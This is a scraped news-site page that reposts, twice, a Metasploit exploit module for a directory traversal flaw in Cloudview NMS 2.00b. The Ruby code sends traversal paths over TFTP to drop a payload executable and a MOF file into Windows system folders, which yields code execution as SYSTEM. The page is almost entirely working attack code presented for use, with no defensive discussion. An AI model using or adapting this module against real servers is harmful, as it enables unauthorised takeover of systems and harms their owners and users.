Cloudview NMS 2.00b Writable Directory Traversal Execution - Kingdom Taurus News - Technology News
Exploit


Cloudview NMS 2.00b Writable Directory Traversal Execution

Date: 2017.09.17
.
Credit: james fitts
.
Risk: Medium

require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Rex::Proto::TFTP include Msf::Exploit::EXE include Msf::Exploit::WbemExec def initialize(info={}) super(update_info(info, 'Name' => "Cloudview NMS 2.00b Writable Directory Traversal Execution", 'Description' => %q{ This module exploits a vulnerability found in Cloudview NMS server. The software contains a directory traversal vulnerability that allows a remote attacker to write arbitrary file to the file system, which results in code execution under the context 'SYSTEM'. }, 'License' => MSF_LICENSE, 'Author' => [ 'james fitts' ], 'References' => [ ['URL', '0day'] ], 'Payload' => { 'BadChars' => "\x00", }, 'DefaultOptions' => { 'ExitFunction' => "none" }, 'Platform' => 'win', 'Targets'=> [ [ ' Cloudview NMS 2.00b on Windows', {} ] ], 'Privileged' => false, 'DisclosureDate' => "Oct 13 2014", 'DefaultTarget' => 0)) register_options([ OptInt.new('DEPTH', [ false,"Levels to reach base directory", 5 ]), OptAddress.new('RHOST', [ true, "The remote TFTP server address" ]), OptPort.new('RPORT', [ true,"The remote TFTP server port", 69 ]) ], self.class) end def upload(filename, data) tftp_client = Rex::Proto::TFTP::Client.new( "LocalHost" => "0.0.0.0","LocalPort" => 1025 + rand(0xffff-1025),"PeerHost" => datastore['RHOST'],"PeerPort" => datastore['RPORT'],"LocalFile" => "DATA:#{data}", "RemoteFile" => filename, "Mode" => "octet","Context" => {'Msf' => self.framework, "MsfExploit"=> self }, "Action" => :upload ) ret = tftp_client.send_write_request { |msg| print_status(msg) }while not tftp_client.complete select(nil, nil, nil, 1) tftp_client.stop end end def exploit peer ="#{datastore['RHOST']}:#{datastore['RPORT']}" exe_name = rand_text_alpha(rand(10)+5)+ '.exe' exe = generate_payload_exe mof_name = rand_text_alpha(rand(10)+5)+ '.mof' mof = generate_mof(mof_name, exe_name) depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH'] levels = "../" * depth print_status("#{peer} - Uploading executable (#{exe.length.to_s} bytes)") upload("#{levels}WINDOWS\\system32\\#{exe_name}", exe) select(nil, nil, nil, 1) print_status("#{peer} - Uploading .mof...") upload("#{levels}WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof) end end

Cloudview NMS 2.00b Writable Directory Traversal Execution

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Exploit


Cloudview NMS 2.00b Writable Directory Traversal Execution

Date: 2017.09.17
.
Credit: james fitts
.
Risk: Medium

require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Rex::Proto::TFTP include Msf::Exploit::EXE include Msf::Exploit::WbemExec def initialize(info={}) super(update_info(info, 'Name' => "Cloudview NMS 2.00b Writable Directory Traversal Execution", 'Description' => %q{ This module exploits a vulnerability found in Cloudview NMS server. The software contains a directory traversal vulnerability that allows a remote attacker to write arbitrary file to the file system, which results in code execution under the context 'SYSTEM'. }, 'License' => MSF_LICENSE, 'Author' => [ 'james fitts' ], 'References' => [ ['URL', '0day'] ], 'Payload' => { 'BadChars' => "\x00", }, 'DefaultOptions' => { 'ExitFunction' => "none" }, 'Platform' => 'win', 'Targets'=> [ [ ' Cloudview NMS 2.00b on Windows', {} ] ], 'Privileged' => false, 'DisclosureDate' => "Oct 13 2014", 'DefaultTarget' => 0)) register_options([ OptInt.new('DEPTH', [ false,"Levels to reach base directory", 5 ]), OptAddress.new('RHOST', [ true, "The remote TFTP server address" ]), OptPort.new('RPORT', [ true,"The remote TFTP server port", 69 ]) ], self.class) end def upload(filename, data) tftp_client = Rex::Proto::TFTP::Client.new( "LocalHost" => "0.0.0.0","LocalPort" => 1025 + rand(0xffff-1025),"PeerHost" => datastore['RHOST'],"PeerPort" => datastore['RPORT'],"LocalFile" => "DATA:#{data}", "RemoteFile" => filename, "Mode" => "octet","Context" => {'Msf' => self.framework, "MsfExploit"=> self }, "Action" => :upload ) ret = tftp_client.send_write_request { |msg| print_status(msg) }while not tftp_client.complete select(nil, nil, nil, 1) tftp_client.stop end end def exploit peer ="#{datastore['RHOST']}:#{datastore['RPORT']}" exe_name = rand_text_alpha(rand(10)+5)+ '.exe' exe = generate_payload_exe mof_name = rand_text_alpha(rand(10)+5)+ '.mof' mof = generate_mof(mof_name, exe_name) depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH'] levels = "../" * depth print_status("#{peer} - Uploading executable (#{exe.length.to_s} bytes)") upload("#{levels}WINDOWS\\system32\\#{exe_name}", exe) select(nil, nil, nil, 1) print_status("#{peer} - Uploading .mof...") upload("#{levels}WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof) end end

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